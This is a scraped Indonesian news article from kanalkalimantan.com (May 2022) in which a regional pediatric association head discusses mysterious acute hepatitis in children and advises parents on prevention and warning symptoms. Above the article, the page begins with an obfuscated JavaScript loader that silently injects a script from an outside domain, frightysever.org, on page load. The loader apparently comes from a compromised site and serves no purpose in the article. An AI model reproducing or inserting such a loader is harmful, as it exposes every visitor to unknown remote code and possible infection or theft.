(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKARAYA– Kasus hepatitis akut misterius yang merenggut nyawa empat anak di Indonesia menjadi perhatian serius dunia Kesehatan. Termasuk organisasi profesi kesehatan, Ikatan Dokter Anak Indonesia (IDAI) Kalimantan Tengah.
Ketua IDAI Cabang Kalteng dr Ni Made Yuliari menyampaikan, dengan merebaknya kasus hepatitis akut yang belum diketahui virus apa penyebabnya. Berbeda dengan hepatitis yang dikenal di tengah masyarakat yakni hepatis A dan B.
Sampai saat ini Kemenkes masih melakukan investigasi melalui pemeriksaan panel virus lengkap dan penyelidikan epidemiologi untuk mengetahui lebih lanjut penyebab hepatitis akut misterius.
“Kita belum ketahui mengapa hepatitis misterius ini menyerangnya anak-anak usia 16 tahun kebawah. Di Indonesia memang sudah ada 4 anak yang terinfeksi, tetapi di Kalteng kita belum menemukan adanya anak yang dicurigai ke arah hepatitis akut misterius,” ujar Made, Selasa (10/5/2022).
Baca juga : Laka Maut Tabrak Lari: Kendaraan Penyebab Dua Nyawa Melayang di Poros Marabahan-Banjarmasin Tak Diketahui
IDAI Kalteng sudah menyebarluaskan informasi ke dokter anak seluruh Kalteng, apabila ada yang dicurigai segera melaporkan ke IDAI cabang maupun pusat melalui formulir pelaporan yang sudah disiapkan yang sudah terhubung langsung dengan Kemenkes.
Untuk mencegah resiko infeksi, Made menyarankan, agar orangtua meningkatkan kewaspadaan dengan melakukan tindakan pencegahan yakni jangan berenang di tempat umum, hindari bepergian di tempat ramai.
Kemudian memakai masker dengan benar, mencuci tangan dengan baik, hindari makan di tempat yang kebersihannya tidak dijamin dan sebaiknya masak di rumah saja.
Selain itu harus tetap menjaga tubuh anak tetap sehat dengan memberikan makanan bergizi beragam dan berimbang, selanjutnya cegah penyakit yang bisa dicegah dengan imunisasi seperti hepatitis B dan A, BCG, DPT, campak dan lain-lain sehingga anak menjadi lebih kebal.
Made juga mengingatkan kalau ada anak bergejala demam, mual muntah, diare, cepat lemas, mata kuning segera dibawa ke rumah sakit untuk mendapatkan penanganan lebih cepat lebih baik. (kanalkalimantan.com/Tri)
Reporter : tri
Editor : cell
KANALKALIMANTAN.COM, MARTAPURA - Alun-alun Ratu Zalecha, Martapura dipilih menjadi tempat nonton bareng (nobar) Semi Final… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More
KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-218 Kota Kuala Kapuas dan Hari Ulang… Read More
This website uses cookies.